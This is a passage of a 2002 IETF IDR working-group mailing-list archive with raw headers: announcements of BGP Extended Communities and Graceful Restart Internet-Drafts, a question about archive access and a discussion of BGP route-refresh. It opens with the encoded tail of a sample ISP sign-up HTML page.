ICAgICAgPElNRyBpZD0iaW1nRHJvcFNoYWRvdyIgY2xhc3M9ImRyb3BzaGFkb3ciIHNyYz0i Li4vLi4vaW1hZ2VzL2RycHNoZHcuanBnIj4gDQoNCgkJPFNQQU4gVEFCSU5ERVg9LTEgQ0xB U1M9InBhZ2VUaXRsZSI+DQoJCQlTcGVlZHkgSVNQIEFjY291bnQgSW5mb3JtYXRpb24JCQkJ DQoJCTwvU1BBTj4NCg0KCQk8U1BBTiBUQUJJTkRFWD0tMSBDTEFTUz0iY29udGVudHMiPg0K CQkJPEI+DQoJCQlXZWxjb21lIGFuZCBUaGFuayBZb3UgZm9yIGNob29zaW5nIA0KCQkJPGJy Pg0KCQkJU3BlZWR5IElTUA0KCQkJPGJyPg0KCQkJPC9CPg0KCQkJPGJyPg0KCQkJUGxlYXNl IHVzZSB0aGUgZm9sbG93aW5nIGFjY291bnQgbmFtZQ0KCQkJPGJyPg0KCQkJYW5kIHBhc3N3 b3JkIHdoZW4gbG9nZ2luZyBpbnRvIG91ciBzaXRlLg0KCQkJPGJyPg0KCQkJPGJyPg0KCQkJ PHRhYmxlIFRBQklOREVYPS0xIGNsYXNzPSJmb250U3R5bGUiIHdpZHRoPSI5OCUiIGJvcmRl cj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4NCgkJCSAgPHRyPiANCgkJ CSAgICA8dGQgd2lkdGg9IjE5JSIgaGVpZ2h0PSIxOCIgdmFsaWduPSJ0b3AiPg0KCQkJICAg ICAgQWNjb3VudCBOYW1lDQoJCQkgICAgPC90ZD4NCgkJCSAgICA8dGQgd2lkdGg9IjgxJSIg aGVpZ2h0PSIxOCIgdmFsaWduPSJ0b3AiPg0KCQkJICAgICAgPGlucHV0IFRBQklOREVYPTEg dHlwZT0idGV4dCIgbmFtZT0idGV4dGZpZWxkIiBzaXplPSIyMCI+DQoJCSAgICAgIDwvdGQ+ DQoJCSAgICAgPC90cj4NCgkJICAgICA8dHI+DQoJCQkgICAgPHRkIHdpZHRoPSIxOSUiIGhl aWdodD0iMTgiIHZhbGlnbj0idG9wIj4NCgkJCSAgICAgIFBhc3N3b3JkDQoJCQkgICAgPC90 ZD4NCgkJCSAgICA8dGQgd2lkdGg9IjgxJSIgaGVpZ2h0PSIxOCIgdmFsaWduPSJ0b3AiPg0K CQkJICAgICAgPGlucHV0IFRBQklOREVYPTIgdHlwZT0icGFzc3dvcmQiIG5hbWU9InRleHRm aWVsZDIiIHNpemU9IjIwIj4NCgkJICAgICAgPC90ZD4NCgkJCSAgPC90cj4NCgkJCTwvdGFi bGU+DQoJCQk8YnI+DQoJCQlZb3VyIG1vZGVtIGhhcyBiZWVuIGNvbmZpZ3VyZWQgdG8gY2Fs bA0KCQkJPGJyPg0KCQkJb3VyIHNpdGUgYXV0b21hdGljYWxseSB3aGVuIHlvdSBsYXVuY2gN CgkJCTxicj4NCgkJCU1pY3Jvc29mdCdzIEludGVybmV0IEV4cGxvcmVyDQoJCQk8YnI+DQoJ CTwvU1BBTj4NCg0KCQk8U1BBTiBDTEFTUz0ibmF2YmFyIj4NCgkJCTxIUiBOT1NIQURFIENM QVNTPSJibGFja0JhciI+DQoJCQk8U1BBTiBJZD1zcGFuQmFjayBvbmNsaWNrPSJ3aW5kb3cu bmF2aWdhdGUoJ3NwZWVkeTIuaHRtJyk7Ij4NCgkJCQk8SU1HIElkPWJ0bkJhY2sgIGNsYXNz PWJhY2tCdXR0b24+DQoJCQkJPFNQQU4gSWQ9YnRuQmFja1RleHQgY2xhc3M9YmFja0J1dHRv blRleHQ+DQoJCQkJCUJhY2sNCgkJCQk8L1NQQU4+DQoJCQk8L1NQQU4+DQoJCQk8U1BBTiBJ ZD1zcGFuTmV4dCBvbmNsaWNrPSJzcGVlZHkzX0dvTmV4dCgpOyI+DQoJCQkJPElNRyBJZD1i dG5OZXh0IGNsYXNzPW5leHRCdXR0b24+DQoJCQkJPFNQQU4gSWQ9YnRuTmV4dFRleHQgY2xh c3M9bmV4dEJ1dHRvblRleHQ+DQoJCQkJCU5leHQNCgkJCQk8L1NQQU4+DQoJCQk8L1NQQU4+ DQoJCTwvU1BBTj4NCgk8L0JPRFk+DQo8L0hUTUw+DQ=9 --O02ol2mZ15re9y3F9052-- Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id LAA27984 for ; Mon, 13 May 2002 11:49:51 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 1645A9126A; Mon, 13 May 2002 11:49:26 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id DC4DD9126B; Mon, 13 May 2002 11:49:25 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id C3E9C9126A for ; Mon, 13 May 2002 11:49:24 -0400 (EDT) Received: by segue.merit.edu (Postfix) id CA1E05DE05; Mon, 13 May 2002 11:49:22 -0400 (EDT) Delivered-To: idr@merit.edu Received: from web12801.mail.yahoo.com (web12801.mail.yahoo.com [216.136.174.36]) by segue.merit.edu (Postfix) with SMTP id 435C45DDD3 for ; Mon, 13 May 2002 11:49:22 -0400 (EDT) Message-ID: <20020513154923.55996.qmail@web12801.mail.yahoo.com> Received: from [208.246.215.128] by web12801.mail.yahoo.com via HTTP; Mon, 13 May 2002 08:49:23 PDT Date: Mon, 13 May 2002 08:49:23 -0700 (PDT) From: vrishab sikand Subject: Is the mailing list archive no longer accessable? To: idr@merit.edu MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-1898299345-1021304963=:55984" Sender: owner-idr@merit.edu Precedence: bulk --0-1898299345-1021304963=:55984 Content-Type: text/plain; charset=us-ascii I was able to go through it a couple of months ago, has anything changed since then. The address I am using is ftp://ftp.merit.edu/mail.archives/idr thanks in advance for your help vrishab --------------------------------- Do You Yahoo!? LAUNCH - Your Yahoo! Music Experience --0-1898299345-1021304963=:55984 Content-Type: text/html; charset=us-ascii

I was able to go through it a couple of months ago, has anything changed since then. The address I am using is

ftp://ftp.merit.edu/mail.archives/idr

thanks in advance for your help

vrishab


Do You Yahoo!?
LAUNCH - Your Yahoo! Music Experience --0-1898299345-1021304963=:55984-- Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id JAA24083 for ; Mon, 13 May 2002 09:50:23 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id F060691265; Mon, 13 May 2002 09:49:57 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id BA18891266; Mon, 13 May 2002 09:49:56 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id A1CAA91265 for ; Mon, 13 May 2002 09:49:55 -0400 (EDT) Received: by segue.merit.edu (Postfix) id B57615DDDA; Mon, 13 May 2002 09:49:53 -0400 (EDT) Delivered-To: idr@merit.edu Received: from merlot.juniper.net (natint.juniper.net [207.17.136.129]) by segue.merit.edu (Postfix) with ESMTP id 2F0AE5DDD3 for ; Mon, 13 May 2002 09:49:53 -0400 (EDT) Received: from juniper.net (garnet.juniper.net [172.17.28.17]) by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id g4DDntT91721 for ; Mon, 13 May 2002 06:49:55 -0700 (PDT) (envelope-from yakov@juniper.net) Message-Id: <200205131349.g4DDntT91721@merlot.juniper.net> To: idr@merit.edu Subject: draft-ietf-idr-bgp-ext-communities-05.txt MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <46735.1021297795.1@juniper.net> Date: Mon, 13 May 2002 06:49:55 -0700 From: Yakov Rekhter Sender: owner-idr@merit.edu Precedence: bulk Folks, The revised draft reflects couple of (late) comments. Yakov. ------- Forwarded Message Date: Mon, 13 May 2002 07:34:14 -0400 From: Internet-Drafts@ietf.org To: IETF-Announce: ; cc: idr@merit.edu Subject: I-D ACTION:draft-ietf-idr-bgp-ext-communities-05.txt - --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Inter-Domain Routing Working Group of the IETF . Title : BGP Extended Communities Attribute Author(s) : S. Sangli, D. Tappan, Y. Rekhter Filename : draft-ietf-idr-bgp-ext-communities-05.txt Pages : 11 Date : 10-May-02 This document describes an extension to BGP [BGP-4] which may be used to provide flexible control over the distribution of routing information. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-idr-bgp-ext-communities-05.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-idr-bgp-ext-communities-05.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-idr-bgp-ext-communities-05.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. - --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" - --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20020510124209.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-idr-bgp-ext-communities-05.txt - --OtherAccess Content-Type: Message/External-body; name="draft-ietf-idr-bgp-ext-communities-05.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20020510124209.I-D@ietf.org> - --OtherAccess-- - --NextPart-- ------- End of Forwarded Message Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id JAA24070 for ; Mon, 13 May 2002 09:49:26 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id D844791264; Mon, 13 May 2002 09:49:04 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id AA12E91265; Mon, 13 May 2002 09:49:04 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 8180391264 for ; Mon, 13 May 2002 09:49:03 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 95DEC5DDDA; Mon, 13 May 2002 09:49:01 -0400 (EDT) Delivered-To: idr@merit.edu Received: from merlot.juniper.net (natint.juniper.net [207.17.136.129]) by segue.merit.edu (Postfix) with ESMTP id 130895DDD3 for ; Mon, 13 May 2002 09:49:01 -0400 (EDT) Received: from juniper.net (garnet.juniper.net [172.17.28.17]) by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id g4DDn2T91694 for ; Mon, 13 May 2002 06:49:02 -0700 (PDT) (envelope-from yakov@juniper.net) Message-Id: <200205131349.g4DDn2T91694@merlot.juniper.net> To: idr@merit.edu Subject: draft-ietf-idr-restart-04.txt MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <46461.1021297742.1@juniper.net> Date: Mon, 13 May 2002 06:49:02 -0700 From: Yakov Rekhter Sender: owner-idr@merit.edu Precedence: bulk Folks, The revised draft reflects the comments we received during the WG Last Call. Yakov. ------- Forwarded Message Date: Mon, 13 May 2002 07:34:19 -0400 From: Internet-Drafts@ietf.org To: IETF-Announce: ; cc: idr@merit.edu Subject: I-D ACTION:draft-ietf-idr-restart-04.txt - --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Inter-Domain Routing Working Group of the IETF . Title : Graceful Restart Mechanism for BGP Author(s) : S. Sangli, Y. Rekhter, R. Fernando, J. Scudder, E. Chen Filename : draft-ietf-idr-restart-04.txt Pages : 10 Date : 10-May-02 This document proposes a mechanism for BGP that would help minimize the negative effects on routing caused by BGP restart. An End-of-RIB marker is specified and can be used to convey routing convergence information. A new BGP capability, termed 'Graceful Restart Capability', is defined which would allow a BGP speaker to express its ability to preserve forwarding state during BGP restart. Finally, procedures are outlined for temporarily retaining routing information across a TCP transport reset. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-idr-restart-04.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-idr-restart-04.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-idr-restart-04.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. - --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" - --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20020510124218.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-idr-restart-04.txt - --OtherAccess Content-Type: Message/External-body; name="draft-ietf-idr-restart-04.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20020510124218.I-D@ietf.org> - --OtherAccess-- - --NextPart-- ------- End of Forwarded Message Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id HAA20871 for ; Mon, 13 May 2002 07:35:37 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 99A9591260; Mon, 13 May 2002 07:34:40 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 54A159125F; Mon, 13 May 2002 07:34:40 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 6659C91260 for ; Mon, 13 May 2002 07:34:35 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 7577B5DE03; Mon, 13 May 2002 07:34:33 -0400 (EDT) Delivered-To: idr@merit.edu Received: from ietf.org (odin.ietf.org [132.151.1.176]) by segue.merit.edu (Postfix) with ESMTP id F40FC5DD90 for ; Mon, 13 May 2002 07:34:32 -0400 (EDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA03698; Mon, 13 May 2002 07:34:14 -0400 (EDT) Message-Id: <200205131134.HAA03698@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: idr@merit.edu From: Internet-Drafts@ietf.org Reply-To: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-idr-bgp-ext-communities-05.txt Date: Mon, 13 May 2002 07:34:14 -0400 Sender: owner-idr@merit.edu Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Inter-Domain Routing Working Group of the IETF. Title : BGP Extended Communities Attribute Author(s) : S. Sangli, D. Tappan, Y. Rekhter Filename : draft-ietf-idr-bgp-ext-communities-05.txt Pages : 11 Date : 10-May-02 This document describes an extension to BGP [BGP-4] which may be used to provide flexible control over the distribution of routing information. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-idr-bgp-ext-communities-05.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-idr-bgp-ext-communities-05.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-idr-bgp-ext-communities-05.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20020510124209.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-idr-bgp-ext-communities-05.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-idr-bgp-ext-communities-05.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20020510124209.I-D@ietf.org> --OtherAccess-- --NextPart-- Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id HAA20863 for ; Mon, 13 May 2002 07:35:23 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 53DE19125B; Mon, 13 May 2002 07:34:34 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 177D89125F; Mon, 13 May 2002 07:34:34 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id D8E299125B for ; Mon, 13 May 2002 07:34:32 -0400 (EDT) Received: by segue.merit.edu (Postfix) id E2ED95DE0F; Mon, 13 May 2002 07:34:30 -0400 (EDT) Delivered-To: idr@merit.edu Received: from ietf.org (odin.ietf.org [132.151.1.176]) by segue.merit.edu (Postfix) with ESMTP id 6DCBC5DE0A for ; Mon, 13 May 2002 07:34:30 -0400 (EDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA03715; Mon, 13 May 2002 07:34:19 -0400 (EDT) Message-Id: <200205131134.HAA03715@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: idr@merit.edu From: Internet-Drafts@ietf.org Reply-To: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-idr-restart-04.txt Date: Mon, 13 May 2002 07:34:19 -0400 Sender: owner-idr@merit.edu Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Inter-Domain Routing Working Group of the IETF. Title : Graceful Restart Mechanism for BGP Author(s) : S. Sangli, Y. Rekhter, R. Fernando, J. Scudder, E. Chen Filename : draft-ietf-idr-restart-04.txt Pages : 10 Date : 10-May-02 This document proposes a mechanism for BGP that would help minimize the negative effects on routing caused by BGP restart. An End-of-RIB marker is specified and can be used to convey routing convergence information. A new BGP capability, termed 'Graceful Restart Capability', is defined which would allow a BGP speaker to express its ability to preserve forwarding state during BGP restart. Finally, procedures are outlined for temporarily retaining routing information across a TCP transport reset. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-idr-restart-04.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-idr-restart-04.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-idr-restart-04.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20020510124218.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-idr-restart-04.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-idr-restart-04.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20020510124218.I-D@ietf.org> --OtherAccess-- --NextPart-- Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id CAA14600 for ; Mon, 13 May 2002 02:46:56 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 515A89125D; Mon, 13 May 2002 02:46:17 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id D95399125E; Mon, 13 May 2002 02:46:12 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 81EDB9125D for ; Mon, 13 May 2002 02:46:10 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 9748F5DD90; Mon, 13 May 2002 02:46:08 -0400 (EDT) Delivered-To: idr@merit.edu Received: from ep_mailout1 (unknown [203.254.224.24]) by segue.merit.edu (Postfix) with ESMTP id 401D95DD8C for ; Mon, 13 May 2002 02:46:08 -0400 (EDT) Received: from custom-daemon.mailout1.samsung.com by mailout1.samsung.com (iPlanet Messaging Server 5.1 (built Sep 5 2001)) id <0GW100101ER8NR@mailout1.samsung.com> for idr@merit.edu; Mon, 13 May 2002 15:45:08 +0900 (KST) Received: from ep_mmp2 (localhost [127.0.0.1]) by mailout1.samsung.com (iPlanet Messaging Server 5.1 (built Sep 5 2001)) with ESMTP id <0GW10012XER8K1@mailout1.samsung.com> for idr@merit.edu; Mon, 13 May 2002 15:45:08 +0900 (KST) Received: from Manav ([107.108.3.180]) by mmp2.samsung.com (iPlanet Messaging Server 5.1 (built Sep 5 2001)) with ESMTPA id <0GW10092JEQVXK@mmp2.samsung.com> for idr@merit.edu; Mon, 13 May 2002 15:44:57 +0900 (KST) Date: Mon, 13 May 2002 12:14:17 +0530 From: Manav Bhatia Subject: Re: Route refresh Message Operation To: "Venu Kumar G - CTD, Chennai." , idr@merit.edu Cc: "Sivananda Ramnath - CTD, Chennai." , "Kaliraj - CTD, Chennai." Reply-To: Manav Bhatia Message-id: <00f401c1fa49$9b7865c0$b4036c6b@sisodomain.com> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Mailer: Microsoft Outlook Express 6.00.2600.0000 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT X-Priority: 3 X-MSMail-priority: Normal References: <55E277B99171E041ABF5F4B1C6DDCA0609A5B9@HARITHA> Sender: owner-idr@merit.edu Precedence: bulk Venu, The Decision Process in BGP is only run when there is a change in Adj-Rib-In. Sending a RR message to a remote peer causes no change hence Loc-RIB is not changed.Its only when the fresh UPDATE messages start arriving from the remote peer in resonse to your RR that u trigger your Decision Process and modify your Loc RIB accordingly. Hope it is clear. Rgds, Manav ----- Original Message ----- From: "Venu Kumar G - CTD, Chennai." To: Cc: "Sivananda Ramnath - CTD, Chennai." ; "Kaliraj - CTD, Chennai." Sent: Monday, May 13, 2002 12:02 PM Subject: Route refresh Message Operation | hi ! | | Whenever BGP Speaker( R1) inbound policies are changed, I will | send route-refresh request messge to my remote peer (R2) to send whole of | it's adj_rib_out routes. During this time Loc_Rib (R1) should also change | their best routes lists Originated from that peer( peering with R2) , or | Loc_rib should wait till the new adj_rib_in (R1) changes are converged | from adj_rib_out (of R2), If the latter is the case how does I (R1) | knows that remote peer (R2) has sent whole of routes (Without considering | the Graceful restart features). | | | | Regards | Venu G. | | | | | | | | | Disclaimer: | This document is intended for transmission to the named recipient only. If | you are not that person, you should note that legal rights reside in this | document and you are not authorized to access, read, disclose, copy, use or | otherwise deal with it and any such actions are prohibited and may be | unlawful. The views expressed in this document are not necessarily those of | HCL Technologies Ltd. Notice is hereby given that no representation, | contract or other binding obligation shall be created by this e-mail, which | must be interpreted accordingly. Any representations, contractual rights or | obligations shall be separately communicated in writing and signed in the | original by a duly authorized officer of the relevant company. | Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id CAA14283 for ; Mon, 13 May 2002 02:32:01 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 2B2E79125C; Mon, 13 May 2002 02:30:58 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id E0F319125D; Mon, 13 May 2002 02:30:57 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id B658E9125C for ; Mon, 13 May 2002 02:30:56 -0400 (EDT) Received: by segue.merit.edu (Postfix) id CF7815DDEC; Mon, 13 May 2002 02:30:54 -0400 (EDT) Delivered-To: idr@merit.edu Received: from ganesh.ctd.hctech.com (unknown [202.54.64.2]) by segue.merit.edu (Postfix) with ESMTP id E8E315DD95 for ; Mon, 13 May 2002 02:30:53 -0400 (EDT) Received: by GANESH with Internet Mail Service (5.5.2653.19) id ; Mon, 13 May 2002 12:11:45 +0530 Message-ID: <55E277B99171E041ABF5F4B1C6DDCA0609A5B9@HARITHA> From: "Venu Kumar G - CTD, Chennai." To: idr@merit.edu Cc: "Sivananda Ramnath - CTD, Chennai." , "Kaliraj - CTD, Chennai." Subject: Route refresh Message Operation Date: Mon, 13 May 2002 12:02:53 +0530 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-idr@merit.edu Precedence: bulk hi ! Whenever BGP Speaker( R1) inbound policies are changed, I will send route-refresh request messge to my remote peer (R2) to send whole of it's adj_rib_out routes. During this time Loc_Rib (R1) should also change their best routes lists Originated from that peer( peering with R2) , or Loc_rib should wait till the new adj_rib_in (R1) changes are converged from adj_rib_out (of R2), If the latter is the case how does I (R1) knows that remote peer (R2) has sent whole of routes (Without considering the Graceful restart features). Regards Venu G. Disclaimer: This document is intended for transmission to the named recipient only. If you are not that person, you should note that legal rights reside in this document and you are not authorized to access, read, disclose, copy, use or otherwise deal with it and any such actions are prohibited and may be unlawful. The views expressed in this document are not necessarily those of HCL Technologies Ltd. Notice is hereby given that no representation, contract or other binding obligation shall be created by this e-mail, which must be interpreted accordingly. Any representations, contractual rights or obligations shall be separately communicated in writing and signed in the original by a duly authorized officer of the relevant company. Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id JAA19293 for ; Thu, 9 May 2002 09:50:19 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id EC126912C2; Thu, 9 May 2002 09:49:47 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id BD8F5912C5; Thu, 9 May 2002 09:49:47 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id B1C17912C2 for ; Thu, 9 May 2002 09:49:46 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 9859A5DDAC; Thu, 9 May 2002 09:49:45 -0400 (EDT) Delivered-To: idr@merit.edu Received: from presque.djinesys.com (dns.nexthop.com [64.211.218.216]) by segue.merit.edu (Postfix) with ESMTP id 42F5E5DDA2 for ; Thu, 9 May 2002 09:49:45 -0400 (EDT) Received: (from root@localhost) by presque.djinesys.com (8.11.3/8.11.1) id g49DnaH50116; Thu, 9 May 2002 09:49:36 -0400 (EDT) (envelope-from jhaas@nexthop.com) Received: from jhaas.nexthop.com (jhaas.nexthop.com [64.211.218.31]) by presque.djinesys.com (8.11.3/8.11.1) with ESMTP id g49DnXO50107; Thu, 9 May 2002 09:49:33 -0400 (EDT) (envelope-from 